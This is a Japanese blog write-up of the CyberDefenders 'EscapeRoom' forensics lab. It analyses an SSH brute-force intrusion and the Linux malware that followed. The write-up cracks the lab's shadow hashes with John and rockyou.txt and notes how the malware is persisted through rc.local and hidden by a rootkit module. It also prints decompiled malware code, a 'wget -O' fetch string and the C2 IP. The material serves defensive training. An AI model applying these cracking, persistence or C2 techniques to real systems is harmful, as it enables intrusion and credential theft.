2
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

【CyberDefenders】EscapeRoom【Writeup】

Last updated at Posted at 2023-02-12

初めに

どうも、クソ雑魚のなんちゃてエンジニアです。
本記事は CyberDefenders (以下リンク参考)の「EscapeRoom」にチャレンジした際のWriteupになります。
image.png

※本チャレンジについてはRed側のペネトレというよりはBlue側の分析力を問われるものになります。

Question 1 「What service did the attacker use to gain access to the system?」

これはWiresharkを開けますか?といった問題でしょうね。見ればわかりますが、SSHでの通信がたんまりです。
image.png

Ans: SSH

Question 2「What attack type was used to gain access to the system?(one word)」

上記のSSHの通信が繰り返されてるのでbから始まる攻撃の名前を投入するだけ

Ans: bruteforce

Question 3「What was the tool the attacker possibly used to perform this attack?」

上記攻撃ができるツールとりあえず入れてみる。
※こんなんでいいのか...まだPCAP全然見れてないぞ...

Ans: hydra

Question 4 「How many failed attempts were there?」

試行失敗回数なのでTCPフローをカウントしてけばいいです。
成功時のSSHの通信のフローを見てみる。
image.png
以下を見ると53なのでー1して回答となる。
image.png

Ans: 52

Question 5「What credentials (username:password) were used to gain access? Refer to shadow.log and sudoers.log.」

これはPCAPではなく、「shadow.log」を解析することになる。
Johnさんの出番です。shadow.logの内容を解けそうなのを抜粋して「hash」ファイルを作成する。

hash
ubuntu:$6$MOCeF0du$eCgZ9.I.hS5CDST1aQHozhLbBH6rAUj97vvW/22eaCynqLv/whZKM1freAN3n2XQiCWjDr0UFreVv0IAvI.fl0:15549:0:99999:7:::
guest:$6$SaltVal1$MNuCQofLmz9CSSVdNGkdj7gRvcHeRinIVP2ezH5Q17oGC23EdbyAwZ6uzaknESS0W0TkgVpyqzGYqJMdxXSSl/:15549:0:99999:7:::
gibson:$6$SaltVal3$ub1ejU/gJOqG1gKnGhSypMtVJouMJ9JmVOYgptXcL0HLSfA84ZH.uwngUpf5XiLp0hu/E2hVh.CLBp2U24Uac1:15549:0:99999:7:::
sean:$6$SaltVal4$rIpTjZrVyyX4Lz0/TMvx3FjUbRRMEgKJ2vnQwBgaoSWeLm/VZifQvBco8AnpVQWhNvMolnyY43X5/i5YK/TIw.:15549:0:99999:7:::
george:$6$SaltVal5$W3YtX9RKtQfqPWxg6/iaxwMYD8LFxP/zqvTsg5GNXi39ulbUSAR.lvjXHrpJdSISNAiWpb6kj2iNI6LlFWETC1:15549:0:99999:7:::
roger:$6$SaltVal6$.1SaTeewycJ1oTmt/6yxAbEyezXhnOajmjP9KWhvNGhkOapy0CyGvEBSQyuL2.TbiEDAPhfoKgoHjbPjczvHH0:15549:0:99999:7:::
timothy:$6$SaltVal7$B6dVnvXVmLuILd3oBeCjvjUAYnowMZ5IRm1k3xzKq/fo8MZV7rUMFU1hhzRvaw9.G6mPST8fL8R6cvWqppcpf.:15549:0:99999:7:::
pierce:$6$SaltVal8$IUEDzxEsUcki.khFF/HOfbSa6uswLDmEGAobvvbz.8MYy9UvtPo6DCZrpcbLa2Ma4AUj65mNCr7xPP0kVH0tT/:15549:0:99999:7:::
sterling:$6$SaltVal9$7oq808gj5Pm4vzJQ7rOWXHtUiJw.qfmEhcmqhGYWUr.r3n4/G5V12QWVaJq7DPura/ZEVPqEUUpMlYzv412Qb1:15549:0:99999:7:::
manager:$6$SaltVal2$ybuPu7Nmo9LKn0p0ozhFhFw2SS2cqkLsx8c5OEAWFkIJjtXBEJqxUQzLh900QMgFTGiw6YuFDueNAapfLKt0f1:15549:0:99999:7:::

上記をWordリスト「rockyou.txt」(以下リンク)を用いて解析。

スクリーンショット_20230210_232241.png

Ans: manager:forgot

Question 6「What other credentials (username:password) could have been used to gain access also have SUDO privileges? Refer to shadow.log and sudoers.log.」

これは「shadow.log」と「sudoers.log」の合体技です。
root privilegesできるやつのハッシュに絞ってまた解析するだけ。
「hash」ファイルを以下のように変更します。(これくらい絞ったほうが解析は早いです。僕は面倒なのでそのまま回しました。)

hash
sean:$6$SaltVal4$rIpTjZrVyyX4Lz0/TMvx3FjUbRRMEgKJ2vnQwBgaoSWeLm/VZifQvBco8AnpVQWhNvMolnyY43X5/i5YK/TIw.:15549:0:99999:7:::
roger:$6$SaltVal6$.1SaTeewycJ1oTmt/6yxAbEyezXhnOajmjP9KWhvNGhkOapy0CyGvEBSQyuL2.TbiEDAPhfoKgoHjbPjczvHH0:15549:0:99999:7:::
pierce:$6$SaltVal8$IUEDzxEsUcki.khFF/HOfbSa6uswLDmEGAobvvbz.8MYy9UvtPo6DCZrpcbLa2Ma4AUj65mNCr7xPP0kVH0tT/:15549:0:99999:7:::

image.png

Ans: sean:spectre

Question 7「What is the tool used to download malicious files on the system?」

マルウェアダウロードしてるToolなにって言われてます。
まぁとりあえずHTTP通信見てみます。
image.png
あ、ELFの実行ファイルを落としてるのがある。これかな?
image.png
なんかUPXのパッキング文字が見えるし、これでしょう。
これを落としてきているツールはUser-Agentで確認できます。

Ans: wget

Question 8「How many files the attacker download to perform malware installation?」

HTTPのトラフィックを見れば大きく2つのトラフィックがあるのがわかるかなと思う。
image.png
texy/htmlのレスポンスとimage/bmpのレスポンスだ。
「マルウェアをインストールするために攻撃者はいくつのファイルをダウンロードしましたか?」という問いかけなので、前半がマルウェアの ダウンローダー 、後半が マルウェア本体 と考えられる。
※というより前半はバックドアで後半が追加マルウェアなのでは??(´∀`*)

よって3つのファイルがanswerとなる。

Ans: 3

Question 9「What is the main malware MD5 hash?」

とりあえず全部のダウンローダーを抽出してみる。
image.png
以下の1,2,3のファイルをそれぞれ抽出する。
image.png
抽出したFileに対してそれぞれfileコマンドを叩き込む。1と2のファイルに対してはexiftoolのコマンドも叩き込んでおいた。
image.png
3の中身も確認してみるが、1と2のファイルを操作しているというシェルスクリプトだ。
image.png

というわけで1のファイルがメインそう。
image.png

Ans: 772b620736b760c1d736b1e6ba2f885b

Question 10「What file has the script modified so the malware will start upon reboot?」

3のファイルの中身を見ればすぐにわかる。
自動実行する「/etc/rc.local」に名前を「/var/mail/mail」に変更した1のファイルの起動設定を書き込んでいるのが見える。

Ans: /etc/rc.local

Question 11「Where did the malware keep local files?」

1は/var/mail/配下にmailとして潜んでます(・ω・)

Ans: /var/mail/

Question 12「What is missing from ps.log?」

ps.logを見るしかないですね。
まぁここら辺はマルウェアファイルの隠ぺいかなと思ってなんとなくで回答できます。

Ans: /var/mail/mail

2のファイルのReversing

上記Questionの12に関する機能は2のファイルのReversingで見つけることが出来ます。
readdirを差し替えてプロセスを隠ぺいするやり方ですね。これでpidof mail > /proc/dmesgで飛ばしていたPIDの階層をpstopコマンドで読み込めないようにするといった形ですな。
image.png

Question 13「What is the main file that used to remove this information from ps.log?」

Question 12で解析した2のファイルは以下のコマンドで名前が変わっているので変更後の名前を記載する。

mv 2 /lib/modules/`uname -r`/sysmod.ko

Ans: sysmod.ko

Question 14「Inside the Main function, what is the function that causes requests to those servers?」

これは1のファイルをReversingすることで解決できる。
一旦1の静的解析内容を見てみる。
image.png
ご丁寧にUPXでパッキングしていることをお知らせしてくれているので1のファイルをアンパッキングする。コマンドは以下である。

$ upx -d <packed_file> -o <unpacked_file>

image.png
難なくUnpackできたので此奴をReversingしていく。
Stringから追っていくと、「wget -O %S%S http」の文字が見える。
スクリーンショット_20230212_165952.png
これを使っている関数へ飛んでみると答えが記載されている!
image.png

Ans: requestFile

Question 15「One of the IP's the malware contacted starts with 17. Provide the full IP.」

C2のIPを見つける問題。上記のwgetを実行している部分sprintfに注目する。
image.png
%sの3つ目のparam_1に注目する。おそらくこれがIPなのだろう。これは関数requestFileの引数として持ってこられているので、requestFileの関数を呼び出しているものを確認する。
image.png
以下部分に注目する。
image.png
addrのアドレスから8バイト分を抜き出したものが入るようである。このaddrの場所に飛んでみる。
image.png
リトルエンディアンでGhidraさんが認識してくれているので楽である。8バイトで抜き出したアドレスへ飛んでいく。
image.png
IPアドレスが直書きされているのでこれで答えがわかるはずだ。

Ans: 174.129.57.253

Question 16「How many files the malware requested from external servers?」

image.png
httpで絞った上記image/bmpの通信で判断できるはずだ。

Ans: 9

Question 17「What are the commands that the malware was receiving from attacker servers? Format: comma-separated in alphabetical order」

以下1のファイルのReversingのmainの中身である。

1
undefined8 main(void)

{
  int iVar1;
  time_t tVar2;
  FILE *__stream;
  long lVar3;
  void *pvVar4;
  long in_FS_OFFSET;
  int local_420;
  char local_418 [1032];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_420 = 0;
  tVar2 = time((time_t *)0x0);
  srand((uint)tVar2);
  while( true ) {
    makeKeys();
    requestFile(*(undefined8 *)(addr + (long)local_420 * 8));
    sprintf(local_418,"%s%s",&DAT_00403db6,*(undefined8 *)(lookupFile + (long)currentIndex * 8));
    __stream = fopen(local_418,"rb");
    fseek(__stream,0,2);
    lVar3 = ftell(__stream);
    fseek(__stream,0,0);
    fclose(__stream);
    pvVar4 = malloc((long)(int)((uint)lVar3 & 0xfffffffc));
    decryptMessage(pvVar4);
    iVar1 = processMessage(pvVar4);
    if (iVar1 != 0) break;
    sleep(1);
    local_420 = local_420 + 1;
    if (local_420 == 4) {
      local_420 = 0;
    }
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 1;
}

requestFile(*(undefined8 *)(addr + (long)local_420 * 8));の項目は前回のQuestion 13でやった通りです。
ここらへんでコマンドを扱ってそうな関数は以下の部分ですかね。

pvVar4 = malloc((long)(int)((uint)lVar3 & 0xfffffffc));
decryptMessage(pvVar4);
iVar1 = processMessage(pvVar4);
if (iVar1 != 0) break;

前半2行はおそらく暗号解除のためのメモリ領域確保とデコード関数でしょうね。というわけでprocessMessageの関数を詳細に見ていきます。
image.png
暗号解除後の引数param_1を何やらif-elifでCMPしてます。ここら辺がコマンド文字列判定でしょう。
0x4e4f50000x52554e3aの部分をchrで変換します。
image.png
chr変換後のCMPを確認します。これが答えですね!

Ans: NOP,RUN

最後に

これである程度のMalwareのTraficが把握できたかなとか思ってます。
リバーシングも出来て結構面白い問題でした。典型的なマルウェアの隠ぺいや難読化手法もあって、触りにはいい問題かなとか思ったりしてます。

今回もセキュリティエンジニアの皆さんの助けになればなと思います。

2
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?